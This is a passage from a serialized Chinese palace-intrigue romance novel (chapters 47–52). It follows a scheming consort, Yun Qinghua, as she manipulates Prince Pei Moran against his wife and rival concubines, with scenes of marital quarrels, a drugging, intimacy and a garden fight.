裴墨染走得很慢。 他想着只要蛮蛮叫他,或者有婢女求情,他就回去进去哄人。 可里面没有传来任何声音。 他甚至在门口站了一会儿,也不见有人来求情。 第47章 来自裴墨染的偏宠 裴墨染气闷。 贴身太监被秋风吹得直打寒噤,他忍不住问道:“王爷,可还要进去?” 他狠狠剜了贴身太监一眼,“不去了!” 裴墨染怒火中烧。 细细想来,蛮蛮从未说过心悦他。 从来都是他上赶着哄她、讨好她。 世间哪有这样的道理? 他当晚便赌气般策马回了北镇抚司。 …… 而云清婳被“禁足”的消息就这样不胫而走。 本是夫妻间的气话,不必当真,可赵婉宁稍加运作,昨晚的话好似成了金科玉律。 众人对玄音阁避之不及。 但沈沁却来了。 云清婳跟沈沁说了会儿体己话,到了晌午,沈沁才离开。 飞霜眉眼弯弯,“都说患难见真情,沈沁倒是不错。” “轻易得到的,也会轻易失去。沈沁今日可以对我好,明日也可以对别人好。”云清婳分析,“相比起沈沁,魏娴倒是不错。” 已入深秋,云清婳怕冷,殿中早早就添置了金丝炭,她还赏了好多炭火给下人。 有炭火充盈寝殿,院子里好似都没那么冷了。 她裹紧了薄毯,“飞霜,我想怀孕了。” “主子的身子从小养到大,本就是易孕体质。只要停了药,不肖多久就能有孕。”飞霜俏皮地眨眼。 云清婳摇摇头。 “您是说……假孕?”飞霜瞪圆了眼。 她轻点飞霜的鼻尖,“快把药做出来。” 裴墨染最讲义气情分,她担心,真相被揭开后,裴墨染还是不忍心处置赵婉宁。 所以,她要在真相被揭开前,再给他点刺激。 等到赵婉宁罄竹难书,裴墨染就算想包庇,也天理不容了。 “是。”飞霜身为药仙谷谷主的女儿,世间还没有她不会做的药。 …… 赵婉宁在花园赏花时,埋在玄音阁的暗线禀报了云清婳的饮食起居。 她眼尾上挑,一脸畅快,“还没到冬天就用金丝炭?云贱人可真奢侈啊。那个高丽棒子不是总说来到京城吃喝不惯吗?让她去闹一闹。” “是!王妃这次定能夺回管家权!”青樱阴恻恻地笑了。 …… 裴墨染在北镇抚司处理以前疑难旧案,天黑了,也不见动身回府。 诸葛贤捏着案卷,研究案情,可早就神游天外。 昨日,宝音所言恐怕非虚。 可这等丑事,让他一个幕僚如何开口? 他捋着胡子,试探性地开口:“王爷还不回府?敢问云侧妃的身子可好些了?” “嗯?”裴墨染放下案卷,双眸聚起了光,“蛮蛮怎么了?” 诸葛贤有些诧异,“云侧妃没跟您说?” 他将昨日的事说了个大概,至于宝音的遗言,他没敢说。 裴墨染的心揪着疼。 他腾的起身,没好气地埋怨:“先生,您怎么不早说?” 蛮蛮是真的病了,真的吓到了,可他还说她装病! 他不该说那些话的。 诸葛贤觉得冤枉。 但他还是说出心中的话,“王爷,您可有想过宝音怎会被刺客追杀?这太不寻常了。” “此事就交由先生探查!”裴墨染递给他一个拜托的眼神,大步流星地走了。 …… 裴墨染一回府便直奔玄音阁。 他才到门前,便听见门内传来隐隐的哭声,如泣如诉。 婢女侧目看着门内,表情惶恐。 裴墨染心头一紧,他快步走进去。 “王妃,您要给妾身做主啊!妾身染了风寒,去内务处讨点木炭都不行!而云侧妃赏赐下人,用的都是金丝炭!”崔夫人抽抽噎噎地哭着。 “别哭了,你若想要,让云妹妹给你拨点便是。”赵婉宁拉着她的手轻拍。 崔夫人得到了安慰,更起劲了,“王妃,这次是炭火,下次是什么?妾身好怕下次连药都不给喝了。我们高丽就从不会克扣炭火。” 一旁的沈沁干着急,魏娴置身事外。 赵婉宁忍住笑,她看似一碗水端平,“各退一步吧!云妹妹,节俭是好事,可你别让大昭被高丽小瞧了。” “哪里节俭了?玄音阁暖和得我都出汗了!”崔夫人看着角落的炭盆,恨不得给踢翻。 涉及到了国荣国耻,裴墨染淡定不了了。 起初,他把管家权交给蛮蛮,也不是真对她管家寄予希望,只是为了震慑下人,给她撑腰罢了。 果然,她还是管不好。 但不是她的错,都是管家辅佐的不好。 他怒道:“放肆!大晚上的,闹什么?” “王爷……”众人跪下行礼。 裴墨染赶忙将云清婳扶起来。 可云清婳却抽回了手,根本不看他。 登时,他有些尴尬。 这个举动,让三人费解。 不是说云清婳经常在肃王府受委屈吗?可王爷似乎对她有些情意? “王爷,您要给妾身做主啊!妾身都染风寒了,可云侧妃还不给拨炭火。”崔夫人本就生得美,哭得梨花带雨,惹人怜惜。 她敢告状,也是算准了云清婳不得宠。 要不然王妃一解禁,云清婳怎么就被王爷关了禁闭? 裴墨染厌弃地瞥她,“别哭了!聒噪!不就是炭火?拨给你就是。” “多谢王爷。”崔夫人破涕为笑,一副女儿家天真的神情。 “王爷莫怪,云妹妹节俭,妹妹们才嫁进来难免不适。”赵婉宁柔声劝道。 裴墨染欣慰地看着赵婉宁,赵婉宁大方他是知道的。 或许,婉宁更适合管家。 他考虑是不是要把财务还给婉宁掌管,蛮蛮掌管内务便好。 可话还没出口,云清婳便面无表情道:“不可给崔夫人分炭火。” “为何?”裴墨染蹙眉。 云清婳瞥了眼管家。 管家将账本呈了上来,“王爷请看。” “每位夫人的俸例都是固定的,崔夫人这个月要的瓜果、冰鉴太多,已经没有额外的俸例供给炭火了。但是可以给她拨些棉被棉衣。”云清婳解释道。 内务处的管事忍不住道:“崔夫人染了风寒,也是用冰鉴太多了。” 裴墨染鬓角的青筋鼓起,他讽刺道:“高丽真是庙小妖风大!一边用冰鉴一边用炭火,你若是待不惯京城,就滚回高丽!” “呜呜呜……”崔夫人扑通一声瘫倒在地,凄凄地哭了起来,“可是云侧妃的俸例就能供给这么多金丝炭吗?” 赵婉宁努力抑制着笑。 这个蠢货,用着真顺手! 裴墨染语塞。 他正想帮她圆回来,飞霜便道:“这些炭都是主子拿私库的钱买的,没动用俸例。” “对!”管家连忙翻账本,给众人看收支明细,“这一个多月,云侧妃管家管得极好,足足省下了两百多两银子。” 第48章 他把姿态放得很低 裴墨染赞赏地看向云清婳。 婉宁管家时,常常说府邸的账目周转不开。 到嘴的鸭子飞了,赵婉宁恨得的牙齿磨得咯吱作响。 贱人! 又背着她搞小动作。 这次反而帮她邀功了! “果真一方水土养一方人,高丽真够小家子气的!滚!”裴墨染低吼。 崔夫人被数落得脸颊通红,委屈大哭,步履摇晃地被婢女扶走了。 赵婉宁给自己立的人设是大气贤惠的当家主母,所以她不得不打碎牙齿和血吞。 尽管恨不得扒了云清婳的皮,可她还是得安慰道:“云妹妹受委屈了。” “……”云清婳摇摇头。 “云姐姐,方才真是担心死我了。”沈沁上前抓住她的手。 裴墨染的视线不耐烦地从她们身上扫过,他二话不说将云清婳打横抱起来,冷声道:“跪安!蛮蛮生病了,受不得聒噪。” 沈沁、魏娴带着惊讶福礼,“是。” 而赵婉宁的面孔闪过狰狞。 …… 裴墨染将云清婳抱上了贵妃榻,他坐在榻畔,愧疚地握住她的手,“蛮蛮……” 云清婳抽出手。 “诸葛先生都跟本王说了,本王错怪你了,下次不许以身犯险,若是出事了怎么办?”他心疼地张开双臂,想要抱她。 她闪身下榻,行云流水般逃脱他的怀抱。 “分些炭给崔夫人。”她轻声交代婢女。 婢女福福身,“是。” 裴墨染的心快要软成一滩水。 蛮蛮总是懂事得让人心疼。 “她那样冤枉你,你还分炭给她?”他无奈道。 “她若是好好说话,我早就分给她了。”云清婳失望地瞥了他一眼,径自去了浴室。 裴墨染一噎。 他怎么感觉她在点他? …… 云清婳惬意地倚靠在浴桶边缘,水汽蒸腾,雾气袅袅,她阖上双眼。 耳边响起了窸窸窣窣的声音。 她一睁眼,只见裴墨染脱得一丝不挂,迈着长腿跨进了浴桶中。 狗男人! 真是不要脸! 云清婳双手护住胸口,蹙着黛眉,慌张道:“夫君要沐浴的话,我就出去了……” 裴墨染厚脸皮地跟她挤在一起,按住她的肩膀,贱兮兮的说:“无妨,本王不嫌弃你。” “……”云清婳想要挣扎,可力气悬殊,拗不过他。 她急红了眼,环抱着胸,将身子缩成了一小团。 裴墨染捏着她的下巴,强行抬起她的脸,开诚布公道:“蛮蛮,昨日是本王小气,揣度你装病,以为你故意避着本王。” “本王听说你昨日遇见歹徒,受了惊吓,本王恨不得将那贼人剁碎。”他将额头贴着她的额,“日后你先顾着自己,别总是这么心善。” 云清婳的眼泪如同珠子大颗大颗地往下掉。 温热的水珠贴在了他的脸上,把他的心好像都被灼疼了,他连忙给她拭泪。 “您总是这样,凡事都把我往坏处想!”她攥着拳头捶打他的胸口,“您不信我!您从来不信我!” 裴墨染心疼地吻着她脸上的泪,他诡辩道:“可本王方才护着你了,方才本王还想若是金丝炭交代不清楚,就说是本王拨给你的。” “您看!您就是总把我往坏处想,我分明没做过腌臜事……”她扭过脸去,肩膀颤抖,抽抽噎噎地哭着。 狗男人偏宠她可不够,她要的是绝对信任。 裴墨染语塞。 的确,自从蛮蛮嫁进门,每次遇事,他都会怀疑她。 可是性情使然,他也没办法。 哪怕是赵婉宁,他也会心存疑虑。 “蛮蛮,本王日后一定不把你往坏处想。你光明磊落,本王是知道的,可战场上的尔虞我诈太多,本王一时改不过来。”裴墨染的姿态放得很低,半真半假地说着。 实则,他并不准备改,也不想改,保持警觉是好事。 然而,裴墨染自己都没发现,他对云清婳的紧张程度,生怕被她误会。 这怎么不算一种驯服呢? 云清婳见好就收,她吸吸鼻子,“下次您若是再冤枉我,我一个字都不会解释,我心寒了,就再也不理您了。” “好,本王下次一定信蛮蛮。”裴墨染的心情顿时大好。 他其实很反感女人恃宠而骄、矫揉造作、哭哭唧唧。 可面对蛮蛮,他不怕她闹,就怕她憋在心里,不断跟他生分。 “蛮蛮,你心中可有本王?”他想知道答案。 幼年阴影孕育出裴墨染扭曲的内心,他内心深处,有执念在叫嚣——他渴望被爱。 蛮蛮总是若即若离,忽冷忽热,就连赵婉宁那样高傲的人,都会向他表明心迹。 可蛮蛮从来没有。 他想要一个答案。 如果得到了,他会很高兴,会更疼爱她。 云清婳挑眉,她知道裴墨染缺爱。 裴墨染渴望得到真心,渴望被全心全意地爱着。 可现在赵婉宁已经让他失望了,已经被踢出局了,她如今才是世上唯一符合要求的人。 但她不能承认。 一旦承认,裴墨染就会肆无忌惮,不再珍惜她。 “蛮蛮……”裴墨染的双眸晶亮,等待着她的回答。 云清婳不给回应,她主动伸出纤细的双臂勾住他的脖子,献上香吻。 裴墨染浑身的血液似乎都在沸腾、激涌、叫嚣。 二人缱绻的缠吻,他搂着她,将人固定在怀中极尽欢愉。 浴桶中水花阵阵,鱼水之欢,缠绵悱恻。 这羞红了门外婢女的脸。 …… 裴墨染随意用外袍包裹着云清婳,将她轻轻放在榻上。 云清婳羞涩地钻进锦衾中,她催促道:“夫君,把亵衣拿来。” 他曲腿上榻,将纱帐放下,双臂撑在她脸侧,“本王还没好。” 她嗔怪地看了他一眼,“不行!方才已经……” “方才本王怕水凉了,冻着你,都没动真格。”他隔着被褥搂着她,舒心地嗅着她发间的清香。 这股似有似无的香气让他心旷神怡。 “妾身还在喝药呢。”她糯糯地说。 裴墨染想到她昨日受到了惊吓,他心中的情欲尽数压下,轻拍了拍她的背,“本王陪你睡,别怕了,日后要出门,本王也可陪你。” 她努努嘴,“妾身可以出门吗?您不是罚妾身禁足吗?” “本王何时罚你禁足了?哪个混账说的?”裴墨染登时火了。 云清婳扬起下巴,哼了一声,“您再想想呢?” 裴墨染福至心灵,顿时有些尴尬,“哪有把夫妻间吵嘴的气话当真的?又是王妃做的?” 她不语,小脸露出一丝委屈。 “不必当真,本王明日会跟她说。”裴墨染感到心累。 他还真以为婉宁改了。 第49章 被下药 翌日。 赵婉宁被裴墨染托人传话给说教了一顿,她气得又砸了一屋子的瓷器。 “贱人!又挑拨离间我跟王爷!王爷以前都是站在我这一边的……”她眼里的水光越积越多,雾气氤氲,最终化成大颗泪水砸下。 泪水里夹杂着心酸跟怨恨。 青樱扶着她坐下,慢条斯理地分析:“王妃,云清婳这是吹了枕边风,给您下马威呢。您也要尽快圆房才行,男人嘛,不就吃这一套?” “对!我也可以侍寝!”赵婉宁的灰败的眼神一亮,“等我成为王爷人生中的第二个女人,终归会让他印象深刻。” “奴婢这就去垂花门等着。王爷一回来就把他请来。”青樱道。 赵婉宁颔首。 她可是现代人,见多识广,她一定比云贱人知道的姿势多,会的花样多。 绝对能让王爷流连忘返。 …… 云清婳接到了清心阁的动向时,正拿着剪子侍弄花草,海棠花后,人面比花娇。 她忍不住笑着摇头。 “赵婉宁可真够蠢的,光明正大地抢人,也不怕成为众矢之的?”飞霜嘲讽地笑了。 云清婳的双眼幽深,宛若洞悉一切,“她想成为裴墨染生命里的第二个女人,所以才兵行险招。她想在床笫上赢过我,这样裴墨染会高看她一眼。” 飞霜一脸嫌弃,“可是她下身不是裂烂了吗?怎么赢您啊?” 云清婳揉了揉飞霜的脑袋,她戏谑道:“你呀!还是太年轻,大人的事,少打听。” “啊?”飞霜揉揉后脑勺,还是想不通。 她笑得狡黠,话锋一转:“把清心阁的消息传出去,让其他三位都知道。” “是。” …… 又过了三日,裴墨染一回府,看到垂花门前你推我搡的四个婢女,他登时头疼欲裂。 毫无悬念,裴墨染最终去了玄音阁。 他屏退婢女,一踏进寝殿就站在屏风前等着云清婳更衣。 云清婳熟稔地来到他身后,为他脱去外袍。 “本王方才一回府,还以为进了盘丝洞!四个婢女差点打起来,真是作贱门楣,还是蛮蛮懂事。”他的烦躁快要从胸口溢出来。 “……”见没人回应,裴墨染疑惑地转过身。 他看见云清婳红肿的双眼,剑眉一提,“怎么了?” 莫不是婉宁又欺负她了? “夫君……”她扑进他怀里。 裴墨染认出了她髻上插的金簪,那是皇后的。 他的双眸暗淡下去。 蛮蛮是他的女人,就算她之前跟皇后感情甚笃,如今也该断了。 但是他夺嫡的心思,现在还不放心与她说。 “谁欺负你了?”裴墨染轻声问。 “皇后娘娘敲打妾身好几次了,她怪妾身无能,还霸占您。三位夫人至今还未圆房呢。”她将脸埋进他的胸口。 裴墨染的怒气在体内翻涌。 皇后的手伸得未免也太长了。 他为她揩去眼角的泪,隐忍地说:“本王知道了,日后不必这么听皇后的话。” “妾身知道的。”云清婳正色说,“出嫁后,夫君才是妾身最亲的人。” 裴墨染的心缩了下,这番话太熨贴了。 哪怕是假的,他也听得高兴。 他将她紧紧搂在怀里,“蛮蛮,本王怎么疼你都不够。” “夫君这番话是对每个妹妹都说过,还是独我一份?”云清婳狡黠地问。 他轻点她的鼻尖,戏谑道:“只有你,满意了?” 她嗔了他一眼。 裴墨染的双眼深不见底。 为了防止打草惊蛇,他必须装作跟以前一般百依百顺,借此迷惑皇后、裴云澈。 之后的几日,三位夫人频繁的在花园跟裴墨染“偶遇”。 沈沁为人天真,心直口快,裴墨染看她顺眼,临幸了她。 紧接着就是魏娴,她为人清高寡淡,但好在能耳畔清净些。 至于崔慧贤时常在花园里吹箫、跳舞。 但裴墨染作为一个武将,再加上对高丽有偏见,并不能欣赏。 最后是在诸葛贤的劝谏下,他为了两国邦交,才留宿了一次。 …… 赵婉宁气得七窍生烟,一连几日借酒消愁,闭门不出。 裴墨染听到消息,心有不忍,月底去了清心阁。 当日,赵婉宁盛装打扮,涂脂抹粉,唇瓣涂得艳红。 “王爷,臣妾还以为,您再也不想见臣妾了。”赵婉宁啼哭着,扑进他的怀里。 裴墨染为她揩去眼泪,却抹了一指尖白腻腻的脂粉。 他不由得想起另一张清丽可人的面孔,即使素面朝天,也美得让人怦然心动。 “别多想,临幸她们,只是母后交代的任务。”他扶她坐下。 赵婉宁的心里好受了点,可还是不甘心。 二人一同用了膳,又说了体己话。 “王爷,您今晚留下好不好?”赵婉宁的声音带着几分祈求。 裴墨染本是决定圆房的。 婉宁是他的正妻,是他的王妃,他们早该圆房了。 可看着赵婉宁浓妆艳抹的脸,他兴致缺缺。 刚接手北镇抚司本就忙碌,再加上之前每晚的例行公事,他对房事有了反感。 “婉宁,本王公务繁忙,明日吧。”他希望她能理解。 可赵婉宁却不语,只是灼热地看着他。 忽地,裴墨染浑身燥热,整个人像是被放在了在炉子炙烤,腹下涨得疼,他的面颊染上了薄薄的红。 他的剑眉一横,他腾的起身,掀翻了桌上的茶盏,“你给本王下了药?” “王爷,求您了,您就给臣妾吧!”赵婉宁上前,抱住他的腰。 裴墨染最恨被人算计。 他万万没想到,他会被自己的正妻下药! 他怒,他恨! 赵婉宁为他宽衣解带,“求您了,为什么别人都可以,臣妾不行?” 裴墨染实在难受,原始欲望在体内叫嚣。 在最后的片刻清醒中,他眼底尽是冷漠,哑声道:“好!如你所愿!” 这一夜,裴墨染没有任何情感,更像是一头被欲望裹挟的野兽。 他并不舒服,他也知道赵婉宁如是。 而且,他发现赵婉宁的身子跟其他人貌似很不同…… 清晨,本该是夫妻温存时刻。 可裴墨染快速穿了衣物,毫无留恋地下了榻。 他冷冷瞥了她一眼,声音像是淬了冰,“这是最后一次,下次再犯,别怪本王。” 赵婉宁浑身起了鸡皮疙瘩,打了个寒战,“王爷、王爷,臣妾也是没办法……” “……”裴墨染懒得听她解释,他拂袖而去。 两两相望,唯余失望! 赵婉宁抱膝,哭着哭着突然笑了,“呵呵……我有太后的生子秘方,只要生了孩子,王爷一定会原谅我。” 青樱像是看到了生机,眼底燃着光,“对!您一定会有孕的!” 玄音阁。 云清婳听说了清心阁昨夜的事,一把将鱼食砸进了池塘,“裴墨染可不是人事不知的少年,这么一对比,他绝对能察觉出赵婉宁跟其他人的区别。” 这才是她这步棋的重点。 飞霜凑在她耳边轻声道:“主子,奴婢打听到了赵婉宁的孩子了,就寄养在京郊山上的猎户家里。听闻赵婉宁每个月都会送银钱过去,有时候还会亲自去看。” 第50章 云清婳打人打爽了 云清婳的眼中闪出光亮,“这会是我最有力的底牌。” 二人正说着,便有婢女来通传,赵婉宁请所有人赏花。 飞霜嘲讽道:“赵婉宁这么快就忍不住来耀武扬威了?” 近来府上都说云清婳失宠了,毕竟府里的女人,就连崔氏裴墨染都宠幸了,唯独他没去过玄音阁。 “我可不会惯着。”云清婳觉得是时候亮亮爪了。 …… 花园中,三位夫人与赵婉宁站在树下赏花。 几人容貌姣美,站在花团锦簇中,相得益彰,美得像一幅画卷。 云清婳姗姗来迟,她随意绾了平髻,髻上只插着一支鸳鸯白玉笄,穿着素净的鹅黄色襦裙,婷婷袅袅从拱圈门走来。 她肤若凝脂,眉眼似水般柔,上翘的眼尾稍带媚态,她恭敬地福身,“见过王妃,妾身来迟了。” 一刹那,仿佛花园的花都失了颜色。 她的瑰丽足以赛过枝头的花儿。 这让几人都怔了一瞬。 “不晚,我们来得早。”赵婉宁大气地挥挥手,“都说高丽美人多,我看不尽然,云妹妹帮京城女子争脸面了。” “王妃谬赞了。”云清婳谦虚地摇头,“姐妹们都是花一般的年纪,打扮起来都是顶好看的。” 她没想到,赵婉宁的手段还是这么低劣,不停地给她拉仇恨。 崔夫人的脸上闪过嫉恨。 赵婉宁捕捉到崔夫人的怨怼,嘴角上扬。 她好似睹物思人,发出感慨:“桂花开了,往年我都会采些桂花酿酒,等王爷回京喝。” “王妃跟王爷情比金坚,不是旁人能插足的。”崔夫人觑了云清婳一眼,“家父时常告诫妾身,以色侍人,不能长久。可惜云侧妃的花容月貌,可还是……” 最后半句,她没说出口,可所有人心知肚明。 云清婳面露难堪,低头不语。 游廊的拐角处,裴墨染正静静注视着一切。 “行了,别说这些了,安心赏花吧。”赵婉宁扶着腰,一副被疼爱过度的模样,浑身瘫软地坐在婢女搬来的檀木椅上。 “是。”崔夫人挑衅地看了云清婳一眼。 赵婉宁看着崔夫人都顺眼了不少。 这把“刀”,用着真称手。 几人观赏着池塘里的睡莲。 沈沁叽叽喳喳说个没完,云清婳跟魏娴象征性地回应着。 忽然,崔夫人抓住云清婳的手腕,“云侧妃,多谢您送妾身的金丝炭,妾身的风寒已经好了。” 云清婳的黛眉拧在了一起,双颊的血色淡了一分,她倒吸了口凉气。 手腕上的痛穴,被崔夫人准确无误地按住了。 刺激痛穴,用力不需要太大,所以不会留痕。 到时候她就算解释,也找不出证据。 云清婳吃痛的挣扎,可崔夫人不仅没有松开的意思,反而加大了力道。 “云侧妃,妾身做了些打糕,不如稍后给您送去?”崔夫人脸上的笑更加灿烂,可眼神却狠如蛇蝎。 崔夫人内心澎湃,满是期待。 只要云清婳敢动手甩开她,她再“一不小心”坠入湖中,云清婳必定免不了责罚。 赵婉宁的角度,正好能看见崔夫人做的一切,她双目含着期待,像是在看一出好戏。 啪—— 云清婳双目一黯,她扬起右手,狠狠甩了崔夫人一耳光。 耳光响亮清脆,登时,整个花园都安静了。 “啊……”崔夫人松开她的腕,眼泪说来就来,“云侧妃,妾身好心送您点心,您为何打妾身?” 云清婳冷笑,想栽赃她?想用苦肉计? 好! 那便如你所愿! 云清婳抬脚,照着她的屁股狠狠一踹,直接把崔夫人踹进池塘。 “救命,救命……”崔夫人猝不及防,喝了好几口池塘的脏水,狼狈地在水里扑腾。 她的肺呛得疼得要炸了。 “啊……”沈沁吓得惊呼。 魏娴连忙道:“快来人!快救人!” 几个会水的婢女跳下池塘,才将崔夫人捞了上来。 赵婉宁腾的从檀木椅上起身,一脸威严,怒目圆睁,“云侧妃,你太过分了!” “王妃,是崔夫人先……”云清婳解释。 赵婉宁厉声打断她的话:“住口!我方才都看见了,崔夫人想与你解开心结,可你不仅掌掴她,还踹她下水!之前的乖顺,原来都是装的!新人入府,你就这般嫉恨?” 云清婳好似被吓到,她欠身行礼,双目通红,“王妃,事出有因。” “事出有因,你也不能起了杀心!此事传出去,你不要脸,肃王府还要脸呢。”赵婉宁高高在上地指着她的鼻尖。 崔夫人裹着薄毯,狼狈地坐在地上,眼中布满红血丝,“王妃,您要给妾身做主了,妾身差点就死了呜呜……” “云侧妃善妒失德,谋害性命,即日起禁闭半年,静思己过。”赵婉宁不容置喙。 就在这时,低沉富有磁性的男声从一侧传来。 “又怎么了?” 裴墨染大步流星地走到云清婳面前。 云清婳仰头,委屈地看着他。 裴墨染看着她如同小鹿般澄澈的水眸,心轻轻一颤。 方才他全看见了,的确是蛮蛮动手打人,推人下水。 “王爷,您要给妾身做主啊!妾身这几日月信迟迟没来,说不定云侧妃残害了妾身的孩子!”崔夫人捂着小腹。 裴墨染鬓角的青筋鼓起,他心中烦躁更甚。 他的长子,怎能是高丽血脉? “捕风捉影的事,你怎敢乱说?待府医看了再说。”裴墨染示意婢女将她扶走。 崔夫人不情不愿地被带走。 赵婉宁上前一步,叹了声:“王爷,您看此事该如何处置?” 裴墨染下意识后退,疏离地跟她拉开距离。 昨晚的算计,让他除了气愤,还感到耻辱。 他将云清婳扶起来,面色沉静淡然,掩饰住内心的怀疑,“蛮蛮,你可有解释?” “……”云清婳眸色暗淡,失望地看着他,沉默不语。 裴墨染的心像是被揪住,疑影在心上飘忽不定。 她打人明明是板上钉钉的事实,难道还有转机? 云清婳的心中泛起了玩味。 明明一句话就能解释清楚,但她就是不解释。 她要让裴墨染为他的哪怕一丝丝怀疑感到后悔。 气氛陷入了僵局。 裴墨染的俊脸上像是结了冰,他答应过日后不轻易怀疑她。 可这次让他怎能不怀疑? 他视线一挪,烦躁地质问:“你们可看见了全程?” 第51章 媚骨天成 沈沁吓得哆嗦,眼泪跟泄了闸的洪水似的流个不停,“妾身,妾身……妾身什么都不知道。” 魏娴摇摇头。 “……”裴墨染看着云清婳倔强、失望的脸,气得想打她屁股。 她方才分明有解释,为何这会儿哑巴了? 似是看出裴墨染的为难,赵婉宁温柔道:“就罚云妹妹酿桂花酒吧,等到中秋节了,给每个人送些。” 这算不得惩罚。 但如此轻轻放下,绝对足够让崔夫人恨上云清婳。 裴墨染颔首,“可。” 他觉得是该小小的敲打一下蛮蛮。 云清婳闷声道:“是。” 就在这时,府医来了,他恭敬道:“王爷,崔夫人并未怀孕。” 闻言,裴墨染暗自松了口气,他一转身却发现云清婳早就没影了。 他的心头竟滋生出了一抹不安。 沈沁、魏娴看着云清婳如此不敬,吓得魂儿都快飞了。 可裴墨染甩袖而去,周身笼罩着一层冷意。 …… 云清婳前脚一迈入寝殿,裴墨染后脚便快步跟了上来。 她似有所觉,快一步就要阖上门,把人隔绝在外。 让肃王吃闭门羹,绝对是天大的不敬。 贴身太监看了都不禁倒吸了口凉气。 就在门要阖住时,男人的大掌却迅速的扶住门沿,抵消她的力气。 “蛮蛮,你这是作甚?”当众被女人甩脸色,裴墨染的语气算不得好。 他都已经偏袒她了,还追来哄她,她还想怎么样? 窄仄的缝隙中,露出云清婳水汪汪的双眼,泪水跟珍珠似的挂在她浓密的睫毛上,“您不是要罚妾身吗?” “蛮蛮,让本王进来说话,本王怕门撞了你。”裴墨染最受不得她的眼泪,他双眸灼热,语气不自觉的温柔下来。 她见好就收的放开门,裴墨染推门而入。 云清婳转身坐在贵妃榻上,默默地抹着眼泪。 裴墨染俯下身,为她拭泪,“怎么又哭了?你打了崔氏,本王又没怪你。” “您怀疑我,您又往坏处想我!”她侧过脸,避开他的触碰。 他面不改色地唬人:“本王没有。” “您有!您就有!若是没有,您就不会让王妃罚我了。”她抽抽噎噎地哭着,像是受伤的小兽。 裴墨染被她堵得说不出话,他无奈道:“可蛮蛮为何不解释?” “我说过,王爷再冤枉我,我不会解释。夫妻就应该恩爱两不疑,您怀疑我,我便认罪。”她的脸上尽是失望。 裴墨染有种说不出的感觉。 蛮蛮愚蠢吗? 不,她冰雪聪明! 可她对感情的认知,纯粹到偏执! “蛮蛮,夫妻间有误会就应该讲清楚,你不说,本王怎能猜到?况且此次本王是偏袒你的,你是知道的,对吧?”裴墨染一边哄她,一边跟她讲道理。 云清婳的水眸一斜,对上他的双眼,“嗯。” 他见她冷静下来,趁热打铁地将人搂在怀里,亲吻她泛红的眼皮,“乖,告诉本王原因。” 她伸出食指,用指尖狠狠戳了下裴墨染腕上的穴位。 裴墨染皮糙肉厚,但还是隐隐感到疼痛。 他登时清明,他捉住云清婳的左手,掀开衣袖一看,黑眸沉了下来。 云清婳的纤细白嫩的手臂上,赫然有几道浅浅的青紫的指印。 她娇气得很,肌肤吹弹可破,在床笫上他稍微用力,她便满身是伤。 “崔夫人想逼妾身推她下水,妾身便如她所愿。”她冷哼了一声。 她方才打爽了! 赏了崔氏一耳光加一脚,还让她进池塘泡了澡。 崔氏千算万算,可就是没算到她的体质特殊,媚骨天成,哪怕是调情时捏一下,都会红好久。 “这个贱妇!”裴墨染的眸中卷起了戾气,咬牙切齿地怒骂。 他平日都不敢对蛮蛮用劲,可崔氏居然如此凌虐她。 裴墨染立即召府医来给云清婳看伤,之后亲自给她上药,“蛮蛮放心,本王必不会放过崔氏。” 她夹了他一眼,缩回手,“您不是怀疑妾身吗?” “好蛮蛮,是本王错了。”裴墨染蹲在她身前,大掌包裹住了她的一对小手。 他也烦闷,每次怀疑蛮蛮,都是他道歉收尾。 云清婳知道他久经沙场,所以对宫宅中的勾心斗角比较陌生。 倘若换作裴云澈,他必不会被迷惑,甚至能一眼看出端倪。 “崔夫人才入府,您别太过分了,若是被皇后知道,恐怕会怪妾身斤斤计较,没有容人之量。”她现在的人设是清纯白莲,所以还是得求求情。 “本王有分寸。”他话锋一转,脸上紧绷的线条柔和下来,“这些日子,想本王了吗?” 裴墨染的双眸清澈,炙热的盯着她,满含期待。 阳光射入窗棂,落在他的身上,将他硬挺深邃的脸描上了金边,他半趴在她的腿上,少年气勃发。 云清婳偏过脑袋,红晕在双颊晕开,似赌气道:“不想!” 他的脸垮了下来,急躁道:“怎会不想?本王都想你了。” “您才不想!若是想妾身,怎会同意王妃罚妾身?”云清婳似乎感到委屈,温热的眼泪啪嗒落在他的手背上,“您们联合起来欺负人。” 裴墨染的心狠狠缩了一下,他连忙给她拭泪,“本王怎会欺负你?不哭了,本王是偏袒蛮蛮的,蛮蛮是知道的,这个罚不作数!” “可是妾身答应王妃了,若是拂了王妃的面子,定会在王妃心里埋下祸根。”云清婳绿茶兮兮地叹气。 看她肯说出心中的弯弯道道,裴墨染感到欣慰,这是敞开心扉的表现。 “本王私下让万嬷嬷替你酿酒,你的冤屈本王也会说给王妃听。”他缜密地安排着。 她转悲为喜,双臂攀着他的肩膀,娇声道:“夫君最好了。” “高兴了?”裴墨染轻点她的鼻尖。 云清婳点头,嫣然一笑。 就是这笑靥,拨动了他的心弦。 让他忍不住轻吻她的唇瓣、脸颊。 这些日子,他白日政务繁忙,晚上回府后还不得不应对女人,他感觉自己像一匹配种的马,他从心底对房事有了抵触、厌恶。 可面对蛮蛮,哪怕昨日被赵婉宁下了药,竭尽精力,可也会情不自禁想要占有她,与她共享帐中之乐。 云清婳感受到他的情动,嫌弃透顶。 毕竟他昨日才临幸了赵婉宁。 她嘟着粉嫩的唇瓣,推开他,“妾身还生气呢。” 看着她态度坚决,裴墨染只好作罢。 他将人抱上床榻,捏着她的后脖颈,让她跟自己额抵着额相拥而眠,“陪本王睡会儿。” “嗯。”她娇憨地应声。 裴墨染嗅着她身上的清香,感到无比舒心松快。 那些女人表面上都是内敛娇羞的千金贵女,可在榻上时如狼似虎,孟浪得很,看着就让人意兴阑珊。 或许是久经沙场的缘故,他喜欢征服感,他喜欢蛮蛮的羞怯跟乖顺,喜欢她在榻上率性的哭。 …… 当日,府医便去崔夫人的住处,用银针刺激她的痛穴,美曰其名治病。 崔夫人晕过去了好几次,可醒来又要接着挨针。 她欲哭无泪,心底恨绝了云清婳。 她想着,王爷又不喜欢云清婳,定是顾忌着云家的势力,才帮着云清婳报复她。 …… 清心阁。 赵婉宁喝完太后赐的药方,脸色阴恻恻的,“王爷对云贱人愈发上心了。” “不下蛋的母鸡罢了,王妃何必担心?”青樱讽刺。 赵婉宁听了她的话,稍稍舒心,“是啊,等到中秋节,就有好戏看了。” 第52章 求您疼妾身 一转眼,就到了中秋节。 云清婳一早就让万嬷嬷将酿好的桂花酒给赵婉宁以及各个夫人送去。 飞霜似笑非笑道:“崔氏看样子是真怀上了,这几日乖巧许多,吃喝都精细着呢。” 